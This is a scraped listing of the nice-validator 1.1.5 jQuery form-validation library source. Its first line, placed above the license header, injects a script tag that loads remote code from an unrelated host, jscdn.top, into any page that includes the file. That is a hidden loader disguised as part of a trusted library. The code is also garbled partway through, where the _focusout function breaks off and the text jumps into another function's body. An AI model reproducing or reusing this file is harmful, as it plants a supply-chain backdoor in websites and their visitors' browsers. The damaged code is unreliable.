1901 行
72 KiB
JavaScript
1901 行
72 KiB
JavaScript
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
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/*! nice-validator 1.1.5
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* (c) 2012-2020 Jony Zhang <niceue@live.com>, MIT Licensed
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* https://github.com/niceue/nice-validator
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*/
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;(function(factory) {
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typeof module === 'object' && module.exports ? module.exports = factory( require( 'jquery' ) ) :
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typeof define === 'function' && define.amd ? define(['jquery'], factory) :
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factory(jQuery);
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}(function($, undefined) {
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'use strict';
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var NS = 'validator',
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CLS_NS = '.' + NS,
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CLS_NS_RULE = '.rule',
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CLS_NS_FIELD = '.field',
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CLS_NS_FORM = '.form',
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CLS_WRAPPER = 'nice-' + NS,
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CLS_MSG_BOX = 'msg-box',
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ARIA_INVALID = 'aria-invalid',
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DATA_RULE = 'data-rule',
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DATA_MSG = 'data-msg',
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DATA_TIP = 'data-tip',
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DATA_OK = 'data-ok',
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DATA_TIMELY = 'data-timely',
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DATA_TARGET = 'data-target',
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DATA_DISPLAY = 'data-display',
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DATA_MUST = 'data-must',
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NOVALIDATE = 'novalidate',
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INPUT_SELECTOR = ':verifiable',
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rRules = /(&)?(!)?\b(\w+)(?:\[\s*(.*?\]?)\s*\]|\(\s*(.*?\)?)\s*\))?\s*(;|\|)?/g,
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rRule = /(\w+)(?:\[\s*(.*?\]?)\s*\]|\(\s*(.*?\)?)\s*\))?/,
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rDisplay = /(?:([^:;\(\[]*):)?(.*)/,
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rDoubleBytes = /[^\x00-\xff]/g,
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rPos = /top|right|bottom|left/,
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rAjaxType = /(?:(cors|jsonp):)?(?:(post|get):)?(.+)/i,
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rUnsafe = /[<>'"`\\]|&#x?\d+[A-F]?;?|%3[A-F]/gmi,
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noop = $.noop,
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proxy = $.proxy,
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trim = $.trim,
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isFunction = $.isFunction,
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isString = function(s) {
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return typeof s === 'string';
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},
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isObject = function(o) {
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return o && Object.prototype.toString.call(o) === '[object Object]';
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},
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isIE = document.documentMode || +(navigator.userAgent.match(/MSIE (\d+)/) && RegExp.$1),
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attr = function(el, key, value) {
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if (!el || !el.tagName) return null;
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if (value !== undefined) {
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if (value === null) el.removeAttribute(key);
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else el.setAttribute(key, '' + value);
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} else {
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return el.getAttribute(key);
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}
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},
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novalidateonce,
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preinitialized = {},
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defaults = {
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debug: 0,
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theme: 'default',
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ignore: '',
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focusInvalid: true,
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focusCleanup: false,
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stopOnError: false,
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beforeSubmit: null,
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valid: null,
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invalid: null,
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validation: null,
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formClass: 'n-default',
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validClass: 'n-valid',
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invalidClass: 'n-invalid',
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bindClassTo: null
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},
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fieldDefaults = {
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timely: 1,
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display: null,
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target: null,
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ignoreBlank: false,
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showOk: true,
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// Translate ajax response to validation result
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dataFilter: function (data) {
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if ( isString(data) || ( isObject(data) && ('error' in data || 'ok' in data) ) ) {
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return data;
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}
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},
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msgMaker: function(opt) {
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var html;
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html = '<span role="alert" class="msg-wrap n-'+ opt.type + '">' + opt.arrow;
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if (opt.result) {
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$.each(opt.result, function(i, obj){
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html += '<span class="n-'+ obj.type +'">' + opt.icon + '<span class="n-msg">' + obj.msg + '</span></span>';
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});
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} else {
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html += opt.icon + '<span class="n-msg">' + opt.msg + '</span>';
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}
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html += '</span>';
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return html;
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},
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msgWrapper: 'span',
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msgArrow: '',
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msgIcon: '<span class="n-icon"></span>',
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msgClass: 'n-right',
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msgStyle: '',
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msgShow: null,
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msgHide: null
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},
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themes = {};
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/** jQuery Plugin
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* @param {Object} options
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debug {Boolean} 0 Whether to enable debug mode
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timely {Number} 1 Whether to enable timely validation
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theme {String} 'default' Theme name
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stopOnError {Boolean} false Whether to stop validate when found an error input
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focusCleanup {Boolean} false Whether to clean up the field message when focus the field
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focusInvalid {Boolean} true Whether to focus the field that is invalid
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ignoreBlank {Boolean} false When the field has no value, whether to ignore validation
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ignore {jqSelector} '' Ignored fields (Using jQuery selector)
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beforeSubmit {Function} Do something before submit form
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dataFilter {Function} Convert ajax results
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valid {Function} Triggered when the form is valid
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invalid {Function} Triggered when the form is invalid
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validClass {String} 'n-valid' Add this class name to a valid field
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invalidClass {String} 'n-invalid' Add this class name to a invalid field
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bindClassTo {jqSelector} ':verifiable' Which element should the className binding to
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display {Function} Callback function to get dynamic display
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target {Function} Callback function to get dynamic target
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msgShow {Function} Trigger this callback when show message
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msgHide {Function} Trigger this callback when hide message
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msgWrapper {String} 'span' Message wrapper tag name
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msgMaker {Function} Callback function to make message HTML
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msgArrow {String} Message arrow template
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msgIcon {String} Message icon template
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msgStyle {String} Custom message css style
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msgClass {String} Additional added to the message class names
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formClass {String} Additional added to the form class names
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messages {Object} Custom messages for the current instance
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rules {Object} Custom rules for the current instance
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fields {Object} Field validation configuration
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{String} key name|#id
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{String|Object} value Rule string or an object which can pass more arguments
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fields[key][rule] {String} Rule string
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fields[key][display] {String|Function}
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fields[key][tip] {String} Custom tip message
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fields[key][ok] {String} Custom success message
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fields[key][msg] {Object} Custom error message
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fields[key][msgStyle] {String} Custom message style
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fields[key][msgClass] {String} A className which added to message placeholder element
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fields[key][msgWrapper] {String} Tag name of the message placeholder element
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fields[key][msgMaker] {Function} A function to custom message HTML
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fields[key][dataFilter] {Function} A function to convert ajax results
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fields[key][valid] {Function} A function triggered when field is valid
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fields[key][invalid] {Function} A function triggered when field is invalid
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fields[key][must] {Boolean} If set true, we always check the field even has remote checking
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fields[key][timely] {Boolean} Whether to enable timely validation
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fields[key][target] {jqSelector} Define placement of a message
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*/
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$.fn.validator = function(options) {
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var that = this,
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args = arguments;
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if (that.is(INPUT_SELECTOR)) return that;
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if (!that.is('form')) that = this.find('form');
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if (!that.length) that = this;
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that.each(function() {
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var instance = $(this).data(NS);
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if (instance) {
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if ( isString(options) ) {
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if ( options.charAt(0) === '_' ) return;
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instance[options].apply(instance, [].slice.call(args, 1));
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}
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else if (options) {
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instance._reset(true);
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instance._init(this, options);
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}
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} else {
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new Validator(this, options);
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}
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});
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return this;
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};
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// Validate a field, or an area
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$.fn.isValid = function(callback, hideMsg) {
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var me = _getInstance(this[0]),
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hasCallback = isFunction(callback),
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ret, opt;
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if (!me) return true;
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if (!hasCallback && hideMsg === undefined) hideMsg = callback;
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me.checkOnly = !!hideMsg;
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opt = me.options;
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ret = me._multiValidate(
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this.is(INPUT_SELECTOR) ? this : this.find(INPUT_SELECTOR),
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function(isValid){
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if (!isValid && opt.focusInvalid && !me.checkOnly) {
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// navigate to the error element
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me.$el.find('[' + ARIA_INVALID + ']:first').focus();
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}
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if (hasCallback) {
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if (callback.length) {
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callback(isValid);
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} else if (isValid) {
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callback();
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}
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}
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me.checkOnly = false;
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}
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);
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// If you pass a callback, we maintain the jQuery object chain
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return hasCallback ? this : ret;
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};
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$.extend($.expr.pseudos || $.expr[':'], {
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// A faster selector than ":input:not(:submit,:button,:reset,:image,:disabled,[contenteditable])"
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verifiable: function(elem) {
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var name = elem.nodeName.toLowerCase();
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return ( name === 'input' && !({submit: 1, button: 1, reset: 1, image: 1})[elem.type] ||
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name === 'select' ||
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name === 'textarea' ||
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elem.contentEditable === 'true'
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) && !elem.disabled;
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},
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// any value, but not only whitespace
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filled: function(elem) {
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return !!trim($(elem).val());
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}
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});
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/**
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* Creates a new Validator
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*
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* @class
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* @param {Element} element - form element
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* @param {Object} options - options for validator
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*/
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function Validator(element, options) {
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var me = this;
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if ( !(me instanceof Validator) ) {
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return new Validator(element, options);
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}
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if (Validator.pending) {
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$(window).on('validatorready', init);
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} else {
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init();
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}
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function init() {
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me.$el = $(element);
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if (me.$el.length) {
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me._init(me.$el[0], options);
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}
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else if (isString(element)) {
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preinitialized[element] = options;
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}
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}
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}
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Validator.prototype = {
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_init: function(element, options) {
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var me = this,
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opt, themeOpt, dataOpt;
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// Initialization options
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if ( isFunction(options) ) {
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options = {
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valid: options
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};
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}
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options = me._opt = options || {};
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dataOpt = attr(element, 'data-'+ NS +'-option');
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dataOpt = me._dataOpt = dataOpt && dataOpt.charAt(0) === '{' ? (new Function('return ' + dataOpt))() : {};
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themeOpt = me._themeOpt = themes[ options.theme || dataOpt.theme || defaults.theme ];
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opt = me.options = $.extend({}, defaults, fieldDefaults, themeOpt, me.options, options, dataOpt);
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me.rules = new Rules(opt.rules, true);
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me.messages = new Messages(opt.messages, true);
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me.Field = _createFieldFactory(me);
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me.elements = me.elements || {};
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me.deferred = {};
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me.errors = {};
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me.fields = {};
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// Initialization fields
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me._initFields(opt.fields);
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// Initialization events and make a cache
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if ( !me.$el.data(NS) ) {
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me.$el.data(NS, me).addClass(CLS_WRAPPER +' '+ opt.formClass)
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.on('form-submit-validate', function(e, a, $form, opts, veto) {
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me.vetoed = veto.veto = !me.isValid;
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me.ajaxFormOptions = opts;
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})
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.on('submit'+ CLS_NS +' validate'+ CLS_NS, proxy(me, '_submit'))
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.on('reset'+ CLS_NS, proxy(me, '_reset'))
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.on('showmsg'+ CLS_NS, proxy(me, '_showmsg'))
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.on('hidemsg'+ CLS_NS, proxy(me, '_hidemsg'))
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.on('focusin'+ CLS_NS + ' click'+ CLS_NS, INPUT_SELECTOR, proxy(me, '_focusin'))
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.on('focusout'+ CLS_NS +' validate'+ CLS_NS, INPUT_SELECTOR, proxy(me, '_focusout'))
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.on('keyup'+ CLS_NS +' input'+ CLS_NS + ' compositionstart compositionend', INPUT_SELECTOR, proxy(me, '_focusout'))
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.on('click'+ CLS_NS, ':radio,:checkbox', 'click', proxy(me, '_focusout'))
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.on('change'+ CLS_NS, 'select,input[type="file"]', 'change', proxy(me, '_focusout'));
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// cache the novalidate attribute value
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me._NOVALIDATE = attr(element, NOVALIDATE);
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// Initialization is complete, stop off default HTML5 form validation
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// If use "jQuery.attr('novalidate')" in IE7 will complain: "SCRIPT3: Member not found."
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attr(element, NOVALIDATE, NOVALIDATE);
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}
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// Display all messages in target container
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if ( isString(opt.target) ) {
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me.$el.find(opt.target).addClass('msg-container');
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}
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},
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// Guess whether the form use ajax submit
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_guessAjax: function(form) {
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var me = this;
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if ( !(me.isAjaxSubmit = !!me.options.valid) ) {
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// if there is a "valid.form" event
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var events = ($._data || $.data)(form, 'events');
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me.isAjaxSubmit = issetEvent(events, 'valid', 'form') || issetEvent(events, 'submit', 'form-plugin');
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}
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function issetEvent(events, name, namespace) {
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return !!(
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events && events[name]
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&& $.map(events[name], function(e){
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return ~e.namespace.indexOf(namespace) ? 1 : null;
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}).length )
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}
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},
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_initFields: function(fields) {
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var me = this, k, arr, i,
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clear = fields === null;
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// Processing field information
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if (clear) fields = me.fields;
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if ( isObject(fields) ) {
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for (k in fields) {
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if (~k.indexOf(',')) {
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arr = k.split(',');
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i = arr.length;
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while (i--) {
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initField(trim(arr[i]), fields[k]);
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}
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} else {
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initField(k, fields[k]);
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}
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}
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}
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// Parsing DOM rules
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me.$el.find(INPUT_SELECTOR).each(function() {
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me._parse(this);
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});
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function initField(k, v) {
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// delete a field from settings
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if ( v === null || clear ) {
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var el = me.elements[k];
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if (el) me._resetElement(el, true);
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delete me.fields[k];
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} else {
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me.fields[k] = new me.Field(k, isString(v) ? {rule: v} : v, me.fields[k]);
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}
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}
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},
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// Parsing a field
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_parse: function(el) {
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var me = this,
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field,
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key = el.name,
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display,
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timely,
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dataRule = attr(el, DATA_RULE);
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dataRule && attr(el, DATA_RULE, null);
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// If the field has passed the key as id mode, or it doesn't has a name
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if ( el.id && (
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('#' + el.id in me.fields) ||
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!key ||
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// If dataRule and element are diffrent from old's, we use ID mode.
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(dataRule !== null && (field = me.fields[key]) && dataRule !== field.rule && el.id !== field.key)
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)
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) {
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key = '#' + el.id;
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}
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// Generate id
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if (!key) {
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key = '#' + (el.id = 'N' + String(Math.random()).slice(-12));
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}
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field = me.getField(key, true);
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// The priority of passing parameter by DOM is higher than by JS.
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field.rule = dataRule || field.rule;
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if (display = attr(el, DATA_DISPLAY)) {
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field.display = display;
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}
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if (field.rule) {
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if ( attr(el, DATA_MUST) !== null || /\b(?:match|checked)\b/.test(field.rule) ) {
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field.must = true;
|
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}
|
||
if ( /\brequired\b/.test(field.rule) ) {
|
||
field.required = true;
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}
|
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if (timely = attr(el, DATA_TIMELY)) {
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field.timely = +timely;
|
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} else if (field.timely > 3) {
|
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attr(el, DATA_TIMELY, field.timely);
|
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}
|
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me._parseRule(field);
|
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field.old = {};
|
||
}
|
||
if ( isString(field.target) ) {
|
||
attr(el, DATA_TARGET, field.target);
|
||
}
|
||
if ( isString(field.tip) ) {
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attr(el, DATA_TIP, field.tip);
|
||
}
|
||
|
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return me.fields[key] = field;
|
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},
|
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|
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// Parsing field rules
|
||
_parseRule: function(field) {
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||
var arr = rDisplay.exec(field.rule);
|
||
|
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if (!arr) return;
|
||
// current rule index
|
||
field._i = 0;
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if (arr[1]) {
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||
field.display = arr[1];
|
||
}
|
||
if (arr[2]) {
|
||
field._rules = [];
|
||
arr[2].replace(rRules, function(){
|
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var args = arguments;
|
||
args[4] = args[4] || args[5];
|
||
field._rules.push({
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||
and: args[1] === '&',
|
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not: args[2] === '!',
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or: args[6] === '|',
|
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method: args[3],
|
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params: args[4] ? $.map( args[4].split(', '), trim ) : undefined
|
||
});
|
||
});
|
||
}
|
||
},
|
||
|
||
// Verify a zone
|
||
_multiValidate: function($inputs, doneCallback){
|
||
var me = this,
|
||
opt = me.options;
|
||
|
||
me.hasError = false;
|
||
|
||
if (opt.ignore) {
|
||
$inputs = $inputs.not(opt.ignore);
|
||
}
|
||
|
||
$inputs.each(function() {
|
||
me._validate(this);
|
||
if (me.hasError && opt.stopOnError) {
|
||
// stop the validation
|
||
return false;
|
||
}
|
||
});
|
||
|
||
// Need to wait for all fields validation complete, especially asynchronous validation
|
||
if (doneCallback) {
|
||
me.validating = true;
|
||
$.when.apply(
|
||
null,
|
||
$.map(me.deferred, function(v){return v;})
|
||
).done(function(){
|
||
doneCallback.call(me, !me.hasError);
|
||
me.validating = false;
|
||
});
|
||
}
|
||
|
||
// If the form does not contain asynchronous validation, the return value is correct.
|
||
// Otherwise, you should detect form validation result through "doneCallback".
|
||
return !$.isEmptyObject(me.deferred) ? undefined : !me.hasError;
|
||
},
|
||
|
||
// Validate the whole form
|
||
_submit: function(e) {
|
||
var me = this,
|
||
opt = me.options,
|
||
form = e.target,
|
||
canSubmit = e.type === 'submit' && form.tagName === 'FORM' && !e.isDefaultPrevented();
|
||
|
||
e.preventDefault();
|
||
|
||
if (
|
||
novalidateonce && ~(novalidateonce = false) ||
|
||
// Prevent duplicate submission
|
||
me.submiting ||
|
||
// Receive the "validate" event only from the form.
|
||
e.type === 'validate' && me.$el[0] !== form ||
|
||
// trigger the beforeSubmit callback.
|
||
isFunction(opt.beforeSubmit) && opt.beforeSubmit.call(me, form) === false
|
||
) {
|
||
return;
|
||
}
|
||
|
||
if (me.isAjaxSubmit === undefined) {
|
||
me._guessAjax(form);
|
||
}
|
||
|
||
me._debug('log', '\n<<< event: ' + e.type);
|
||
|
||
me._reset();
|
||
me.submiting = true;
|
||
|
||
me._multiValidate(
|
||
me.$el.find(INPUT_SELECTOR),
|
||
function(isValid){
|
||
var ret = (isValid || opt.debug === 2) ? 'valid' : 'invalid',
|
||
errors;
|
||
|
||
if (!isValid) {
|
||
if (opt.focusInvalid) {
|
||
// navigate to the error element
|
||
me.$el.find('[' + ARIA_INVALID + ']:first').focus();
|
||
}
|
||
errors = $.map(me.errors, function(err){return err;});
|
||
}
|
||
|
||
// releasing submit
|
||
me.submiting = false;
|
||
me.isValid = isValid;
|
||
|
||
// trigger callback and event
|
||
isFunction(opt[ret]) && opt[ret].call(me, form, errors);
|
||
me.$el.trigger(ret + CLS_NS_FORM, [form, errors]);
|
||
|
||
me._debug('log', '>>> ' + ret);
|
||
|
||
if (!isValid) return;
|
||
// For jquery.form plugin
|
||
if (me.vetoed) {
|
||
$(form).ajaxSubmit(me.ajaxFormOptions);
|
||
}
|
||
else if (canSubmit && !me.isAjaxSubmit) {
|
||
document.createElement('form').submit.call(form);
|
||
}
|
||
}
|
||
);
|
||
},
|
||
|
||
_reset: function(e) {
|
||
var me = this;
|
||
|
||
me.errors = {};
|
||
if (e) {
|
||
me.reseting = true;
|
||
me.$el.find(INPUT_SELECTOR).each( function(){
|
||
me._resetElement(this);
|
||
});
|
||
delete me.reseting;
|
||
}
|
||
},
|
||
|
||
_resetElement: function(el, all) {
|
||
this._setClass(el, null);
|
||
this.hideMsg(el);
|
||
},
|
||
|
||
// Handle events: "focusin/click"
|
||
_focusin: function(e) {
|
||
var me = this,
|
||
opt = me.options,
|
||
el = e.target,
|
||
timely,
|
||
msg;
|
||
|
||
if ( me.validating || ( e.type==='click' && document.activeElement === el ) ) {
|
||
return;
|
||
}
|
||
|
||
if (opt.focusCleanup) {
|
||
if ( attr(el, ARIA_INVALID) === 'true' ) {
|
||
me._setClass(el, null);
|
||
me.hideMsg(el);
|
||
}
|
||
}
|
||
|
||
msg = attr(el, DATA_TIP);
|
||
|
||
if (msg) {
|
||
me.showMsg(el, {
|
||
type: 'tip',
|
||
msg: msg
|
||
});
|
||
} else {
|
||
if (attr(el, DATA_RULE)) {
|
||
me._parse(el);
|
||
}
|
||
if (timely = attr(el, DATA_TIMELY)) {
|
||
if ( timely === 8 || timely === 9 ) {
|
||
me._focusout(e);
|
||
}
|
||
}
|
||
}
|
||
},
|
||
|
||
// Handle events: "focusout/validate/keyup/click/change/input/compositionstart/compositionend"
|
||
_focusout: function(e) {
|
||
var me = this,
|
||
opt = me.options,
|
||
el = e.target,
|
||
t;
|
||
}
|
||
else if (isObject(ret)) {
|
||
if (ret.error) {
|
||
msg = ret.error;
|
||
} else {
|
||
msg = ret.ok;
|
||
isValid = true;
|
||
}
|
||
}
|
||
else {
|
||
isValid = !!ret
|
||
}
|
||
|
||
rule = field._rules[field._i];
|
||
if (rule.not) {
|
||
msg = undefined;
|
||
isValid = method === 'required' || !isValid;
|
||
}
|
||
if (rule.or) {
|
||
if (isValid) {
|
||
while ( field._i < field._rules.length && field._rules[field._i].or ) {
|
||
field._i++;
|
||
}
|
||
} else {
|
||
transfer = true;
|
||
}
|
||
}
|
||
else if (rule.and) {
|
||
if (!field.isValid) transfer = true;
|
||
}
|
||
|
||
if (transfer) {
|
||
isValid = true;
|
||
}
|
||
// message analysis, and throw rule level event
|
||
else {
|
||
if (isValid) {
|
||
if (field.showOk !== false) {
|
||
temp = attr(el, DATA_OK);
|
||
msg = temp === null ? isString(field.ok) ? field.ok : msg : temp;
|
||
if (!isString(msg) && isString(field.showOk)) {
|
||
msg = field.showOk;
|
||
}
|
||
if (isString(msg)) {
|
||
msgOpt.showOk = isValid;
|
||
}
|
||
}
|
||
}
|
||
if (!isValid || special) {
|
||
/* rule message priority:
|
||
1. custom DOM message
|
||
2. custom field message;
|
||
3. global defined message;
|
||
4. rule returned message;
|
||
5. default message;
|
||
*/
|
||
msg = (_getDataMsg(el, field, msg || rule.msg || me.messages[method]) || me.messages.fallback).replace(/\{0\|?([^\}]*)\}/, function(m, defaultDisplay){
|
||
return me._getDisplay(el, field.display) || defaultDisplay || me.messages[0];
|
||
});
|
||
}
|
||
if (!isValid) field.isValid = isValid;
|
||
msgOpt.msg = msg;
|
||
$(el).trigger( (isValid ? 'valid' : 'invalid') + CLS_NS_RULE, [method, msg]);
|
||
}
|
||
|
||
if (special && (!transfer || rule.and)) {
|
||
if (!isValid && !field._m) field._m = msg;
|
||
field._v = field._v || [];
|
||
field._v.push({
|
||
type: isValid ? !transfer ? 'ok' : 'tip' : 'error',
|
||
msg: msg || rule.msg
|
||
});
|
||
}
|
||
|
||
me._debug('log', ' ' + field._i + ': ' + method + ' => ' + (isValid || msg));
|
||
|
||
// the current rule has passed, continue to validate
|
||
if ( (isValid || special) && field._i < field._rules.length - 1) {
|
||
field._i++;
|
||
me._checkRule(el, field);
|
||
}
|
||
// field was invalid, or all fields was valid
|
||
else {
|
||
field._i = 0;
|
||
|
||
if (special) {
|
||
msgOpt.isValid = field.isValid;
|
||
msgOpt.result = field._v;
|
||
msgOpt.msg = field._m || '';
|
||
if (!field.value && (field._e === 'focusin')) {
|
||
msgOpt.type = 'tip';
|
||
}
|
||
} else {
|
||
msgOpt.isValid = isValid;
|
||
}
|
||
|
||
me._validatedField(el, field, msgOpt);
|
||
delete field._m;
|
||
delete field._v;
|
||
}
|
||
},
|
||
|
||
// Verify a rule form a field
|
||
_checkRule: function(el, field) {
|
||
var me = this,
|
||
ret,
|
||
fn,
|
||
old,
|
||
key = field.key,
|
||
rule = field._rules[field._i],
|
||
method = rule.method,
|
||
params = rule.params;
|
||
|
||
// request has been sent, wait it
|
||
if (me.submiting && me.deferred[key]) {
|
||
return;
|
||
}
|
||
old = field.old;
|
||
field._r = method;
|
||
|
||
if (old && !field.must && !rule.must && rule.result !== undefined &&
|
||
old.ruleName === method && old.id === el.id &&
|
||
field.value && old.value === field.value )
|
||
{
|
||
// get result from cache
|
||
ret = rule.result;
|
||
}
|
||
else {
|
||
// get result from current rule
|
||
fn = _getDataRule(el, method) || me.rules[method] || noop;
|
||
ret = fn.call(field, el, params, field);
|
||
if (fn.msg) rule.msg = fn.msg;
|
||
}
|
||
|
||
// asynchronous validation
|
||
if (isObject(ret) && isFunction(ret.then)) {
|
||
me.deferred[key] = ret;
|
||
|
||
// whether the field valid is unknown
|
||
field.isValid = undefined;
|
||
|
||
// show loading message
|
||
!me.checkOnly && me.showMsg(el, {
|
||
type: 'loading',
|
||
msg: me.messages.loading
|
||
}, field);
|
||
|
||
// waiting to parse the response data
|
||
ret.then(
|
||
function(d, textStatus, jqXHR) {
|
||
var data = trim(jqXHR.responseText),
|
||
result,
|
||
dataFilter = field.dataFilter;
|
||
|
||
// detect if data is json or jsonp format
|
||
if (/jsonp?/.test(this.dataType)) {
|
||
data = d;
|
||
} else if (data.charAt(0) === '{') {
|
||
data = $.parseJSON(data);
|
||
}
|
||
|
||
// filter data
|
||
result = dataFilter.call(this, data, field);
|
||
if (result === undefined) result = dataFilter.call(this, data.data, field);
|
||
|
||
rule.data = this.data;
|
||
rule.result = field.old ? result : undefined;
|
||
me._validatedRule(el, field, result);
|
||
},
|
||
function(jqXHR, textStatus){
|
||
me._validatedRule(el, field, me.messages[textStatus] || textStatus);
|
||
}
|
||
).always(function(){
|
||
delete me.deferred[key];
|
||
});
|
||
}
|
||
// other result
|
||
else {
|
||
me._validatedRule(el, field, ret);
|
||
}
|
||
},
|
||
|
||
// Processing the validation
|
||
_validate: function(el, field) {
|
||
var me = this;
|
||
|
||
// doesn't validate the element that has "disabled" or "novalidate" attribute
|
||
if ( el.disabled || attr(el, NOVALIDATE) !== null ) {
|
||
return;
|
||
}
|
||
|
||
field = field || me.getField(el);
|
||
if (!field) return;
|
||
if (!field._rules) me._parse(el);
|
||
if (!field._rules) return;
|
||
|
||
me._debug('info', field.key);
|
||
|
||
field.isValid = true;
|
||
field.element = el;
|
||
// Cache the value
|
||
field.value = field.getValue();
|
||
|
||
// if the field is not required, and that has a blank value
|
||
if (!field.required && !field.must && !field.value) {
|
||
if (!_checkable(el)) {
|
||
me._validatedField(el, field, {isValid: true});
|
||
return true;
|
||
}
|
||
}
|
||
|
||
me._checkRule(el, field);
|
||
return field.isValid;
|
||
},
|
||
|
||
_debug: function(type, messages) {
|
||
if (window.console && this.options.debug) {
|
||
console[type](messages);
|
||
}
|
||
},
|
||
|
||
/**
|
||
* Detecting whether the value of an element that matches a rule
|
||
*
|
||
* @method test
|
||
* @param {Element} el - input element
|
||
* @param {String} rule - rule name
|
||
*/
|
||
test: function(el, rule) {
|
||
var me = this,
|
||
ret,
|
||
parts = rRule.exec(rule),
|
||
field,
|
||
method,
|
||
params;
|
||
|
||
if (parts) {
|
||
method = parts[1];
|
||
if (method in me.rules) {
|
||
params = parts[2] || parts[3];
|
||
params = params ? params.split(', ') : undefined;
|
||
field = me.getField(el, true);
|
||
field._r = method;
|
||
field.value = field.getValue();
|
||
ret = me.rules[method].call(field, el, params);
|
||
}
|
||
}
|
||
|
||
return ret === true || ret === undefined || ret === null;
|
||
},
|
||
|
||
_getDisplay: function(el, str) {
|
||
return !isString(str) ? isFunction(str) ? str.call(this, el) : '' : str;
|
||
},
|
||
|
||
_getMsgOpt: function(obj, field) {
|
||
var opt = field ? field : this.options;
|
||
return $.extend({
|
||
type: 'error',
|
||
pos: _getPos(opt.msgClass),
|
||
target: opt.target,
|
||
wrapper: opt.msgWrapper,
|
||
style: opt.msgStyle,
|
||
cls: opt.msgClass,
|
||
arrow: opt.msgArrow,
|
||
icon: opt.msgIcon
|
||
}, isString(obj) ? {msg: obj} : obj);
|
||
},
|
||
|
||
_getMsgDOM: function(el, msgOpt) {
|
||
var $el = $(el), $msgbox, datafor, tgt, container;
|
||
|
||
if ( $el.is(INPUT_SELECTOR) ) {
|
||
tgt = msgOpt.target || attr(el, DATA_TARGET);
|
||
if (tgt) {
|
||
tgt = !isFunction(tgt) ? tgt.charAt(0) === '#' ? $(tgt) : this.$el.find(tgt) : tgt.call(this, el);
|
||
if (tgt.length) {
|
||
if ( tgt.is(INPUT_SELECTOR) ) {
|
||
$el = tgt
|
||
el = tgt.get(0);
|
||
} else if ( tgt.hasClass(CLS_MSG_BOX) ) {
|
||
$msgbox = tgt;
|
||
} else {
|
||
container = tgt;
|
||
}
|
||
}
|
||
}
|
||
if (!$msgbox) {
|
||
datafor = (!_checkable(el) || !el.name) && el.id ? el.id : el.name;
|
||
$msgbox = (container || this.$el).find(msgOpt.wrapper + '.' + CLS_MSG_BOX + '[for="' + datafor + '"]');
|
||
}
|
||
} else {
|
||
$msgbox = $el;
|
||
}
|
||
|
||
// Create new message box
|
||
if (!msgOpt.hide && !$msgbox.length) {
|
||
$msgbox = $('<'+ msgOpt.wrapper + '>').attr({
|
||
'class': CLS_MSG_BOX + (msgOpt.cls ? ' ' + msgOpt.cls : ''),
|
||
'style': msgOpt.style || undefined,
|
||
'for': datafor
|
||
});
|
||
|
||
if (container) {
|
||
$msgbox.appendTo(container);
|
||
} else {
|
||
if ( _checkable(el) ) {
|
||
var $parent = $el.parent();
|
||
$msgbox.appendTo( $parent.is('label') ? $parent.parent() : $parent );
|
||
} else {
|
||
$msgbox[!msgOpt.pos || msgOpt.pos === 'right' ? 'insertAfter' : 'insertBefore']($el);
|
||
}
|
||
}
|
||
}
|
||
|
||
return $msgbox;
|
||
},
|
||
|
||
/**
|
||
* Show validation message
|
||
*
|
||
* @method showMsg
|
||
* @param {Element} el - input element
|
||
* @param {Object} msgOpt
|
||
*/
|
||
showMsg: function(el, msgOpt, /*INTERNAL*/ field) {
|
||
if (!el) return;
|
||
var me = this,
|
||
opt = me.options,
|
||
msgShow,
|
||
msgMaker,
|
||
temp,
|
||
$msgbox;
|
||
|
||
if (isObject(el) && !el.jquery && !msgOpt) {
|
||
$.each(el, function(key, msg) {
|
||
var el = me.elements[key] || me.$el.find(_key2selector(key))[0];
|
||
me.showMsg(el, msg);
|
||
});
|
||
return;
|
||
}
|
||
|
||
if ($(el).is(INPUT_SELECTOR)) {
|
||
field = field || me.getField(el);
|
||
}
|
||
|
||
if (!(msgMaker = (field || opt).msgMaker)) {
|
||
return;
|
||
}
|
||
|
||
msgOpt = me._getMsgOpt(msgOpt, field);
|
||
el = (el.name && _checkable(el) ? me.$el.find('input[name="'+ el.name +'"]') : $(el)).get(0);
|
||
|
||
// ok or tip
|
||
if (!msgOpt.msg && msgOpt.type !== 'error') {
|
||
temp = attr(el, 'data-' + msgOpt.type);
|
||
if (temp !== null) msgOpt.msg = temp;
|
||
}
|
||
|
||
if ( !isString(msgOpt.msg) ) {
|
||
return;
|
||
}
|
||
|
||
$msgbox = me._getMsgDOM(el, msgOpt);
|
||
|
||
!rPos.test($msgbox[0].className) && $msgbox.addClass(msgOpt.cls);
|
||
if ( isIE === 6 && msgOpt.pos === 'bottom' ) {
|
||
$msgbox[0].style.marginTop = $(el).outerHeight() + 'px';
|
||
}
|
||
$msgbox.html( msgMaker.call(me, msgOpt) )[0].style.display = '';
|
||
|
||
if (isFunction(msgShow = field && field.msgShow || opt.msgShow)) {
|
||
msgShow.call(me, $msgbox, msgOpt.type);
|
||
}
|
||
},
|
||
|
||
/**
|
||
* Hide validation message
|
||
*
|
||
* @method hideMsg
|
||
* @param {Element} el - input element
|
||
* @param {Object} msgOpt optional
|
||
*/
|
||
hideMsg: function(el, msgOpt, /*INTERNAL*/ field) {
|
||
var me = this,
|
||
opt = me.options,
|
||
msgHide,
|
||
$msgbox;
|
||
|
||
el = $(el).get(0);
|
||
if ($(el).is(INPUT_SELECTOR)) {
|
||
field = field || me.getField(el);
|
||
if (field) {
|
||
if (field.isValid || me.reseting) attr(el, ARIA_INVALID, null);
|
||
}
|
||
}
|
||
|
||
msgOpt = me._getMsgOpt(msgOpt, field);
|
||
msgOpt.hide = true;
|
||
|
||
$msgbox = me._getMsgDOM(el, msgOpt);
|
||
if (!$msgbox.length) return;
|
||
|
||
if ( isFunction(msgHide = field && field.msgHide || opt.msgHide) ) {
|
||
msgHide.call(me, $msgbox, msgOpt.type);
|
||
} else {
|
||
$msgbox[0].style.display = 'none';
|
||
$msgbox[0].innerHTML = '';
|
||
}
|
||
},
|
||
|
||
/**
|
||
* Get field information
|
||
*
|
||
* @method getField
|
||
* @param {Element} - input element
|
||
* @return {Object} field
|
||
*/
|
||
getField: function(el, must) {
|
||
var me = this,
|
||
key,
|
||
field;
|
||
|
||
if (isString(el)) {
|
||
key = el;
|
||
el = undefined;
|
||
} else {
|
||
if (attr(el, DATA_RULE)) {
|
||
return me._parse(el);
|
||
}
|
||
if (el.id && '#' + el.id in me.fields || !el.name) {
|
||
key = '#' + el.id;
|
||
} else {
|
||
key = el.name;
|
||
}
|
||
}
|
||
|
||
